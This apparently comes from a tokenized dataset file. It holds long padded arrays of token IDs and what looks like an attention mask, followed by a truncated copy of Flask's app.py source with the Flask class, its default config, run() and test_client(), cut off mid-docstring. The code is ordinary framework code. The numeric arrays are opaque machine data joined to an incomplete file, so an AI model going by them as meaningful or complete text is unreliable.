32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 2508, 1208, 492, 25344, 63, 495, 602, 12, 6705, 63, 832, 421, 199, 533, 6848, 88, 87, 352, 4332, 8, 18283, 304, 272, 485, 5600, 63, 2632, 275, 519, 7, 2859, 24524, 1544, 20316, 293, 88, 87, 352, 4537, 957, 15, 6147, 9448, 48, 28, 1501, 29587, 10127, 14, 6113, 20910, 4, 3171, 339, 485, 2864, 275, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 293, 88, 87, 352, 14, 957, 15, 6147, 15, 15534, 438, 80, 390, 11066, 65, 7757, 6442, 14, 1360, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 15534, 438, 80, 390, 11066, 65, 7757, 6442, 297, 288, 283, 832, 356, 283, 22753, 297, 288, 283, 1213, 356, 283, 27200, 437, 644, 4878, 334, 6442, 3196, 288, 283, 13671, 356, 283, 48, 305, 438, 510, 390, 297, 288, 283, 13671, 63, 344, 356, 283, 15534, 438, 80, 390, 297, 288, 283, 5064, 63, 602, 356, 283, 1797, 11303, 1651, 297, 288, 283, 1802, 356, 283, 48, 305, 438, 510, 390, 18628, 298, 27200, 437, 644, 4878, 4451, 12166, 737, 710, 10257, 89, 1005, 315, 437, 833, 262, 12, 20566, 305, 14, 1656, 267, 1660, 267, 283, 1162, 356, 469, 288, 327, 519, 2791, 5235, 288, 283, 2759, 63, 4249, 356, 715, 12, 267, 789, 272, 789, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 14208, 275, 295, 14, 1431, 8, 277, 423, 5600, 63, 2632, 12, 1166, 9, 267, 1788, 275, 14208, 14, 923, 360, 1501, 358, 267, 2256, 63, 633, 275, 283, 1014, 921, 1544, 14, 293, 88, 87, 352, 14, 957, 15, 1246, 15, 11418, 3149, 83, 7, 450, 1788, 267, 2256, 275, 291, 423, 4249, 63, 1001, 8, 815, 63, 633, 12, 1788, 9, 398, 519, 2791, 63, 17153, 275, 3355, 779, 442, 8, 82, 14, 1814, 360, 22753, 14474, 12381, 367, 519, 315, 2256, 459, 4603, 63, 17153, 418, 340, 519, 14, 2460, 360, 22753, 63, 2023, 267, 5526, 63, 1866, 275, 519, 2791, 63, 17153, 1988, 17, 61, 267, 1166, 63, 1606, 63, 633, 275, 283, 1014, 921, 293, 88, 87, 352, 14, 957, 15, 1168, 63, 368, 63, 521, 14, 8624, 31, 1501, 2458, 83, 6, 9161, 2458, 83, 7, 450, 334, 1501, 12, 5526, 63, 1866, 9, 267, 519, 2791, 63, 633, 275, 291, 423, 4249, 63, 12022, 8, 633, 63, 1606, 63, 633, 12, 1788, 12, 283, 18085, 3991, 1166, 358, 267, 1599, 275, 6705, 63, 832, 8, 29649, 63, 633, 9, 267, 340, 1599, 508, 283, 70, 20, 86, 356, 288, 519, 2791, 63, 633, 275, 519, 2791, 63, 633, 14, 1814, 8, 1501, 12, 283, 311, 20, 2689, 83, 7, 450, 1788, 9, 398, 372, 469, 288, 283, 344, 356, 1788, 12, 288, 283, 1213, 356, 2256, 459, 1213, 995, 288, 283, 633, 356, 519, 2791, 63, 633, 12, 288, 283, 832, 356, 283, 22753, 297, 288, 283, 1802, 356, 2256, 459, 1802, 995, 288, 283, 8311, 356, 2256, 14, 362, 360, 6147, 63, 1569, 63, 633, 358, 503, 2256, 14, 362, 360, 1569, 63, 633, 63, 9629, 659, 288, 283, 13671, 356, 2256, 459, 11215, 995, 288, 283, 13671, 63, 344, 356, 2256, 459, 11215, 354, 995, 288, 283, 5064, 63, 602, 356, 25344, 63, 495, 602, 8, 815, 459, 697, 602, 3815, 267, 789, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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 flask.app ~~~~~~~~~ This module implements the central WSGI application object. :copyright: (c) 2011 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ import os import sys from threading import Lock from datetime import timedelta from itertools import chain from functools import update_wrapper from werkzeug.datastructures import ImmutableDict from werkzeug.routing import Map, Rule, RequestRedirect, BuildError from werkzeug.exceptions import HTTPException, InternalServerError, \ MethodNotAllowed, BadRequest from .helpers import _PackageBoundObject, url_for, get_flashed_messages, \ locked_cached_property, _endpoint_from_view_func, find_package from . import json from .wrappers import Request, Response from .config import ConfigAttribute, Config from .ctx import RequestContext, AppContext, _AppCtxGlobals from .globals import _request_ctx_stack, request, session, g from .sessions import SecureCookieSessionInterface from .module import blueprint_is_module from .templating import DispatchingJinjaLoader, Environment, \ _default_template_ctx_processor from .signals import request_started, request_finished, got_request_exception, \ request_tearing_down, appcontext_tearing_down from ._compat import reraise, string_types, text_type, integer_types # a lock used for logger initialization _logger_lock = Lock() def _make_timedelta(value): if not isinstance(value, timedelta): return timedelta(seconds=value) return value def setupmethod(f): """Wraps a method so that it performs a check in debug mode if the first request was already handled. """ def wrapper_func(self, *args, **kwargs): if self.debug and self._got_first_request: raise AssertionError('A setup function was called after the ' 'first request was handled. This usually indicates a bug ' 'in the application where a module was not imported ' 'and decorators or other functionality was called too late.\n' 'To fix this make sure to import all your view modules, ' 'database models and everything related at a central place ' 'before the application starts serving requests.') return f(self, *args, **kwargs) return update_wrapper(wrapper_func, f) class Flask(_PackageBoundObject): """The flask object implements a WSGI application and acts as the central object. It is passed the name of the module or package of the application. Once it is created it will act as a central registry for the view functions, the URL rules, template configuration and much more. The name of the package is used to resolve resources from inside the package or the folder the module is contained in depending on if the package parameter resolves to an actual python package (a folder with an `__init__.py` file inside) or a standard module (just a `.py` file). For more information about resource loading, see :func:`open_resource`. Usually you create a :class:`Flask` instance in your main module or in the `__init__.py` file of your package like this:: from flask import Flask app = Flask(__name__) .. admonition:: About the First Parameter The idea of the first parameter is to give Flask an idea what belongs to your application. This name is used to find resources on the file system, can be used by extensions to improve debugging information and a lot more. So it's important what you provide there. If you are using a single module, `__name__` is always the correct value. If you however are using a package, it's usually recommended to hardcode the name of your package there. For example if your application is defined in `yourapplication/app.py` you should create it with one of the two versions below:: app = Flask('yourapplication') app = Flask(__name__.split('.')[0]) Why is that? The application will work even with `__name__`, thanks to how resources are looked up. However it will make debugging more painful. Certain extensions can make assumptions based on the import name of your application. For example the Flask-SQLAlchemy extension will look for the code in your application that triggered an SQL query in debug mode. If the import name is not properly set up, that debugging information is lost. (For example it would only pick up SQL queries in `yourapplication.app` and not `yourapplication.views.frontend`) .. versionadded:: 0.7 The `static_url_path`, `static_folder`, and `template_folder` parameters were added. .. versionadded:: 0.8 The `instance_path` and `instance_relative_config` parameters were added. :param import_name: the name of the application package :param static_url_path: can be used to specify a different path for the static files on the web. Defaults to the name of the `static_folder` folder. :param static_folder: the folder with static files that should be served at `static_url_path`. Defaults to the ``'static'`` folder in the root path of the application. :param template_folder: the folder that contains the templates that should be used by the application. Defaults to ``'templates'`` folder in the root path of the application. :param instance_path: An alternative instance path for the application. By default the folder ``'instance'`` next to the package or module is assumed to be the instance path. :param instance_relative_config: if set to `True` relative filenames for loading the config are assumed to be relative to the instance path instead of the application root. """ #: The class that is used for request objects. See :class:`~flask.Request` #: for more information. request_class = Request #: The class that is used for response objects. See #: :class:`~flask.Response` for more information. response_class = Response #: The class that is used for the :data:`~flask.g` instance. #: #: Example use cases for a custom class: #: #: 1. Store arbitrary attributes on flask.g. #: 2. Add a property for lazy per-request database connectors. #: 3. Return None instead of AttributeError on expected attributes. #: 4. Raise exception if an unexpected attr is set, a "controlled" flask.g. #: #: In Flask 0.9 this property was called `request_globals_class` but it #: was changed in 0.10 to :attr:`app_ctx_globals_class` because the #: flask.g object is not application context scoped. #: #: .. versionadded:: 0.10 app_ctx_globals_class = _AppCtxGlobals # Backwards compatibility support def _get_request_globals_class(self): return self.app_ctx_globals_class def _set_request_globals_class(self, value): from warnings import warn warn(DeprecationWarning('request_globals_class attribute is now ' 'called app_ctx_globals_class')) self.app_ctx_globals_class = value request_globals_class = property(_get_request_globals_class, _set_request_globals_class) del _get_request_globals_class, _set_request_globals_class #: The debug flag. Set this to `True` to enable debugging of the #: application. In debug mode the debugger will kick in when an unhandled #: exception occurs and the integrated server will automatically reload #: the application if changes in the code are detected. #: #: This attribute can also be configured from the config with the `DEBUG` #: configuration key. Defaults to `False`. debug = ConfigAttribute('DEBUG') #: The testing flag. Set this to `True` to enable the test mode of #: Flask extensions (and in the future probably also Flask itself). #: For example this might activate unittest helpers that have an #: additional runtime cost which should not be enabled by default. #: #: If this is enabled and PROPAGATE_EXCEPTIONS is not changed from the #: default it's implicitly enabled. #: #: This attribute can also be configured from the config with the #: `TESTING` configuration key. Defaults to `False`. testing = ConfigAttribute('TESTING') #: If a secret key is set, cryptographic components can use this to #: sign cookies and other things. Set this to a complex random value #: when you want to use the secure cookie for instance. #: #: This attribute can also be configured from the config with the #: `SECRET_KEY` configuration key. Defaults to `None`. secret_key = ConfigAttribute('SECRET_KEY') #: The secure cookie uses this for the name of the session cookie. #: #: This attribute can also be configured from the config with the #: `SESSION_COOKIE_NAME` configuration key. Defaults to ``'session'`` session_cookie_name = ConfigAttribute('SESSION_COOKIE_NAME') #: A :class:`~datetime.timedelta` which is used to set the expiration #: date of a permanent session. The default is 31 days which makes a #: permanent session survive for roughly one month. #: #: This attribute can also be configured from the config with the #: `PERMANENT_SESSION_LIFETIME` configuration key. Defaults to #: ``timedelta(days=31)`` permanent_session_lifetime = ConfigAttribute('PERMANENT_SESSION_LIFETIME', get_converter=_make_timedelta) #: Enable this if you want to use the X-Sendfile feature. Keep in #: mind that the server has to support this. This only affects files #: sent with the :func:`send_file` method. #: #: .. versionadded:: 0.2 #: #: This attribute can also be configured from the config with the #: `USE_X_SENDFILE` configuration key. Defaults to `False`. use_x_sendfile = ConfigAttribute('USE_X_SENDFILE') #: The name of the logger to use. By default the logger name is the #: package name passed to the constructor. #: #: .. versionadded:: 0.4 logger_name = ConfigAttribute('LOGGER_NAME') #: Enable the deprecated module support? This is active by default #: in 0.7 but will be changed to False in 0.8. With Flask 1.0 modules #: will be removed in favor of Blueprints enable_modules = True #: The logging format used for the debug logger. This is only used when #: the application is in debug mode, otherwise the attached logging #: handler does the formatting. #: #: .. versionadded:: 0.3 debug_log_format = ( '-' * 80 + '\n' + '%(levelname)s in %(module)s [%(pathname)s:%(lineno)d]:\n' + '%(message)s\n' + '-' * 80 ) #: The JSON encoder class to use. Defaults to :class:`~flask.json.JSONEncoder`. #: #: .. versionadded:: 0.10 json_encoder = json.JSONEncoder #: The JSON decoder class to use. Defaults to :class:`~flask.json.JSONDecoder`. #: #: .. versionadded:: 0.10 json_decoder = json.JSONDecoder #: Options that are passed directly to the Jinja2 environment. jinja_options = ImmutableDict( extensions=['jinja2.ext.autoescape', 'jinja2.ext.with_'] ) #: Default configuration parameters. default_config = ImmutableDict({ 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': timedelta(days=31), 'USE_X_SENDFILE': False, 'LOGGER_NAME': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': 12 * 60 * 60, # 12 hours 'TRAP_BAD_REQUEST_ERRORS': False, 'TRAP_HTTP_EXCEPTIONS': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': True, }) #: The rule object to use for URL rules created. This is used by #: :meth:`add_url_rule`. Defaults to :class:`werkzeug.routing.Rule`. #: #: .. versionadded:: 0.7 url_rule_class = Rule #: the test client that is used with when `test_client` is used. #: #: .. versionadded:: 0.7 test_client_class = None #: the session interface to use. By default an instance of #: :class:`~flask.sessions.SecureCookieSessionInterface` is used here. #: #: .. versionadded:: 0.8 session_interface = SecureCookieSessionInterface() def __init__(self, import_name, static_path=None, static_url_path=None, static_folder='static', template_folder='templates', instance_path=None, instance_relative_config=False): _PackageBoundObject.__init__(self, import_name, template_folder=template_folder) if static_path is not None: from warnings import warn warn(DeprecationWarning('static_path is now called ' 'static_url_path'), stacklevel=2) static_url_path = static_path if static_url_path is not None: self.static_url_path = static_url_path if static_folder is not None: self.static_folder = static_folder if instance_path is None: instance_path = self.auto_find_instance_path() elif not os.path.isabs(instance_path): raise ValueError('If an instance path is provided it must be ' 'absolute. A relative path was given instead.') #: Holds the path to the instance folder. #: #: .. versionadded:: 0.8 self.instance_path = instance_path #: The configuration dictionary as :class:`Config`. This behaves #: exactly like a regular dictionary but supports additional methods #: to load a config from files. self.config = self.make_config(instance_relative_config) # Prepare the deferred setup of the logger. self._logger = None self.logger_name = self.import_name #: A dictionary of all view functions registered. The keys will #: be function names which are also used to generate URLs and #: the values are the function objects themselves. #: To register a view function, use the :meth:`route` decorator. self.view_functions = {} # support for the now deprecated `error_handlers` attribute. The # :attr:`error_handler_spec` shall be used now. self._error_handlers = {} #: A dictionary of all registered error handlers. The key is `None` #: for error handlers active on the application, otherwise the key is #: the name of the blueprint. Each key points to another dictionary #: where they key is the status code of the http exception. The #: special key `None` points to a list of tuples where the first item #: is the class for the instance check and the second the error handler #: function. #: #: To register a error handler, use the :meth:`errorhandler` #: decorator. self.error_handler_spec = {None: self._error_handlers} #: A list of functions that are called when :meth:`url_for` raises a #: :exc:`~werkzeug.routing.BuildError`. Each function registered here #: is called with `error`, `endpoint` and `values`. If a function #: returns `None` or raises a `BuildError` the next function is #: tried. #: #: .. versionadded:: 0.9 self.url_build_error_handlers = [] #: A dictionary with lists of functions that should be called at the #: beginning of the request. The key of the dictionary is the name of #: the blueprint this function is active for, `None` for all requests. #: This can for example be used to open database connections or #: getting hold of the currently logged in user. To register a #: function here, use the :meth:`before_request` decorator. self.before_request_funcs = {} #: A lists of functions that should be called at the beginning of the #: first request to this instance. To register a function here, use #: the :meth:`before_first_request` decorator. #: #: .. versionadded:: 0.8 self.before_first_request_funcs = [] #: A dictionary with lists of functions that should be called after #: each request. The key of the dictionary is the name of the blueprint #: this function is active for, `None` for all requests. This can for #: example be used to open database connections or getting hold of the #: currently logged in user. To register a function here, use the #: :meth:`after_request` decorator. self.after_request_funcs = {} #: A dictionary with lists of functions that are called after #: each request, even if an exception has occurred. The key of the #: dictionary is the name of the blueprint this function is active for, #: `None` for all requests. These functions are not allowed to modify #: the request, and their return values are ignored. If an exception #: occurred while processing the request, it gets passed to each #: teardown_request function. To register a function here, use the #: :meth:`teardown_request` decorator. #: #: .. versionadded:: 0.7 self.teardown_request_funcs = {} #: A list of functions that are called when the application context #: is destroyed. Since the application context is also torn down #: if the request ends this is the place to store code that disconnects #: from databases. #: #: .. versionadded:: 0.9 self.teardown_appcontext_funcs = [] #: A dictionary with lists of functions that can be used as URL #: value processor functions. Whenever a URL is built these functions #: are called to modify the dictionary of values in place. The key #: `None` here is used for application wide #: callbacks, otherwise the key is the name of the blueprint. #: Each of these functions has the chance to modify the dictionary #: #: .. versionadded:: 0.7 self.url_value_preprocessors = {} #: A dictionary with lists of functions that can be used as URL value #: preprocessors. The key `None` here is used for application wide #: callbacks, otherwise the key is the name of the blueprint. #: Each of these functions has the chance to modify the dictionary #: of URL values before they are used as the keyword arguments of the #: view function. For each function registered this one should also #: provide a :meth:`url_defaults` function that adds the parameters #: automatically again that were removed that way. #: #: .. versionadded:: 0.7 self.url_default_functions = {} #: A dictionary with list of functions that are called without argument #: to populate the template context. The key of the dictionary is the #: name of the blueprint this function is active for, `None` for all #: requests. Each returns a dictionary that the template context is #: updated with. To register a function here, use the #: :meth:`context_processor` decorator. self.template_context_processors = { None: [_default_template_ctx_processor] } #: all the attached blueprints in a dictionary by name. Blueprints #: can be attached multiple times so this dictionary does not tell #: you how often they got attached. #: #: .. versionadded:: 0.7 self.blueprints = {} #: a place where extensions can store application specific state. For #: example this is where an extension could store database engines and #: similar things. For backwards compatibility extensions should register #: themselves like this:: #: #: if not hasattr(app, 'extensions'): #: app.extensions = {} #: app.extensions['extensionname'] = SomeObject() #: #: The key must match the name of the `flaskext` module. For example in #: case of a "Flask-Foo" extension in `flaskext.foo`, the key would be #: ``'foo'``. #: #: .. versionadded:: 0.7 self.extensions = {} #: The :class:`~werkzeug.routing.Map` for this instance. You can use #: this to change the routing converters after the class was created #: but before any routes are connected. Example:: #: #: from werkzeug.routing import BaseConverter #: #: class ListConverter(BaseConverter): #: def to_python(self, value): #: return value.split(',') #: def to_url(self, values): #: return ','.join(BaseConverter.to_url(value) #: for value in values) #: #: app = Flask(__name__) #: app.url_map.converters['list'] = ListConverter self.url_map = Map() # tracks internally if the application already handled at least one # request. self._got_first_request = False self._before_request_lock = Lock() # register the static folder for the application. Do that even # if the folder does not exist. First of all it might be created # while the server is running (usually happens during development) # but also because google appengine stores static files somewhere # else when mapped with the .yml file. if self.has_static_folder: self.add_url_rule(self.static_url_path + '/<path:filename>', endpoint='static', view_func=self.send_static_file) def _get_error_handlers(self): from warnings import warn warn(DeprecationWarning('error_handlers is deprecated, use the ' 'new error_handler_spec attribute instead.'), stacklevel=1) return self._error_handlers def _set_error_handlers(self, value): self._error_handlers = value self.error_handler_spec[None] = value error_handlers = property(_get_error_handlers, _set_error_handlers) del _get_error_handlers, _set_error_handlers @locked_cached_property def name(self): """The name of the application. This is usually the import name with the difference that it's guessed from the run file if the import name is main. This name is used as a display name when Flask needs the name of the application. It can be set and overridden to change the value. .. versionadded:: 0.8 """ if self.import_name == '__main__': fn = getattr(sys.modules['__main__'], '__file__', None) if fn is None: return '__main__' return os.path.splitext(os.path.basename(fn))[0] return self.import_name @property def propagate_exceptions(self): """Returns the value of the `PROPAGATE_EXCEPTIONS` configuration value in case it's set, otherwise a sensible default is returned. .. versionadded:: 0.7 """ rv = self.config['PROPAGATE_EXCEPTIONS'] if rv is not None: return rv return self.testing or self.debug @property def preserve_context_on_exception(self): """Returns the value of the `PRESERVE_CONTEXT_ON_EXCEPTION` configuration value in case it's set, otherwise a sensible default is returned. .. versionadded:: 0.7 """ rv = self.config['PRESERVE_CONTEXT_ON_EXCEPTION'] if rv is not None: return rv return self.debug @property def logger(self): """A :class:`logging.Logger` object for this application. The default configuration is to log to stderr if the application is in debug mode. This logger can be used to (surprise) log messages. Here some examples:: app.logger.debug('A value for debugging') app.logger.warning('A warning occurred (%d apples)', 42) app.logger.error('An error occurred') .. versionadded:: 0.3 """ if self._logger and self._logger.name == self.logger_name: return self._logger with _logger_lock: if self._logger and self._logger.name == self.logger_name: return self._logger from flask.logging import create_logger self._logger = rv = create_logger(self) return rv @locked_cached_property def jinja_env(self): """The Jinja2 environment used to load templates.""" return self.create_jinja_environment() @property def got_first_request(self): """This attribute is set to `True` if the application started handling the first request. .. versionadded:: 0.8 """ return self._got_first_request def make_config(self, instance_relative=False): """Used to create the config attribute by the Flask constructor. The `instance_relative` parameter is passed in from the constructor of Flask (there named `instance_relative_config`) and indicates if the config should be relative to the instance path or the root path of the application. .. versionadded:: 0.8 """ root_path = self.root_path if instance_relative: root_path = self.instance_path return Config(root_path, self.default_config) def auto_find_instance_path(self): """Tries to locate the instance path if it was not provided to the constructor of the application class. It will basically calculate the path to a folder named ``instance`` next to your main file or the package. .. versionadded:: 0.8 """ prefix, package_path = find_package(self.import_name) if prefix is None: return os.path.join(package_path, 'instance') return os.path.join(prefix, 'var', self.name + '-instance') def open_instance_resource(self, resource, mode='rb'): """Opens a resource from the application's instance folder (:attr:`instance_path`). Otherwise works like :meth:`open_resource`. Instance resources can also be opened for writing. :param resource: the name of the resource. To access resources within subfolders use forward slashes as separator. :param mode: resource file opening mode, default is 'rb'. """ return open(os.path.join(self.instance_path, resource), mode) def create_jinja_environment(self): """Creates the Jinja2 environment based on :attr:`jinja_options` and :meth:`select_jinja_autoescape`. Since 0.7 this also adds the Jinja2 globals and filters after initialization. Override this function to customize the behavior. .. versionadded:: 0.5 """ options = dict(self.jinja_options) if 'autoescape' not in options: options['autoescape'] = self.select_jinja_autoescape rv = Environment(self, **options) rv.globals.update( url_for=url_for, get_flashed_messages=get_flashed_messages, config=self.config, # request, session and g are normally added with the # context processor for efficiency reasons but for imported # templates we also want the proxies in there. request=request, session=session, g=g ) rv.filters['tojson'] = json.tojson_filter return rv def create_global_jinja_loader(self): """Creates the loader for the Jinja2 environment. Can be used to override just the loader and keeping the rest unchanged. It's discouraged to override this function. Instead one should override the :meth:`jinja_loader` function instead. The global loader dispatches between the loaders of the application and the individual blueprints. .. versionadded:: 0.7 """ return DispatchingJinjaLoader(self) def init_jinja_globals(self): """Deprecated. Used to initialize the Jinja2 globals. .. versionadded:: 0.5 .. versionchanged:: 0.7 This method is deprecated with 0.7. Override :meth:`create_jinja_environment` instead. """ def select_jinja_autoescape(self, filename): """Returns `True` if autoescaping should be active for the given template name. .. versionadded:: 0.5 """ if filename is None: return False return filename.endswith(('.html', '.htm', '.xml', '.xhtml')) def update_template_context(self, context): """Update the template context with some commonly used variables. This injects request, session, config and g into the template context as well as everything template context processors want to inject. Note that the as of Flask 0.6, the original values in the context will not be overridden if a context processor decides to return a value with the same key. :param context: the context as a dictionary that is updated in place to add extra variables. """ funcs = self.template_context_processors[None] reqctx = _request_ctx_stack.top if reqctx is not None: bp = reqctx.request.blueprint if bp is not None and bp in self.template_context_processors: funcs = chain(funcs, self.template_context_processors[bp]) orig_ctx = context.copy() for func in funcs: context.update(func()) # make sure the original values win. This makes it possible to # easier add new variables in context processors without breaking # existing views. context.update(orig_ctx) def run(self, host=None, port=None, debug=None, **options): """Runs the application on a local development server. If the :attr:`debug` flag is set the server will automatically reload for code changes and show a debugger in case an exception happened. If you want to run the application in debug mode, but disable the code execution on the interactive debugger, you can pass ``use_evalex=False`` as parameter. This will keep the debugger's traceback screen active, but disable code execution. .. admonition:: Keep in Mind Flask will suppress any server error with a generic error page unless it is in debug mode. As such to enable just the interactive debugger without the code reloading, you have to invoke :meth:`run` with ``debug=True`` and ``use_reloader=False``. Setting ``use_debugger`` to `True` without being in debug mode won't catch any exceptions because there won't be any to catch. .. versionchanged:: 0.10 The default port is now picked from the ``SERVER_NAME`` variable. :param host: the hostname to listen on. Set this to ``'0.0.0.0'`` to have the server available externally as well. Defaults to ``'127.0.0.1'``. :param port: the port of the webserver. Defaults to ``5000`` or the port defined in the ``SERVER_NAME`` config variable if present. :param debug: if given, enable or disable debug mode. See :attr:`debug`. :param options: the options to be forwarded to the underlying Werkzeug server. See :func:`werkzeug.serving.run_simple` for more information. """ from werkzeug.serving import run_simple if host is None: host = '127.0.0.1' if port is None: server_name = self.config['SERVER_NAME'] if server_name and ':' in server_name: port = int(server_name.rsplit(':', 1)[1]) else: port = 5000 if debug is not None: self.debug = bool(debug) options.setdefault('use_reloader', self.debug) options.setdefault('use_debugger', self.debug) try: run_simple(host, port, self, **options) finally: # reset the first request information if the development server # resetted normally. This makes it possible to restart the server # without reloader and that stuff from an interactive shell. self._got_first_request = False def test_client(self, use_cookies=True): """Creates a test client for this application. For information about unit testing head over to :ref:`testing`. Note that if you are testing for assertions or exceptions in your application code, you must set ``app.testing = True`` in order for the exceptions to propagate to the test client. Otherwise, the exception will be handled by the application (not visible to the test client) and the only indication of an AssertionError or other exception will be a 500 status code response to the test client. See the :attr:`testing` attribute. For example:: app.testing = True client = app.test_client() The test client can be used in a `with` block to defer the closing down of the context until the end of the `with` block. This is useful if you want to access the context locals for testing:: with app.test_client() as c: rv 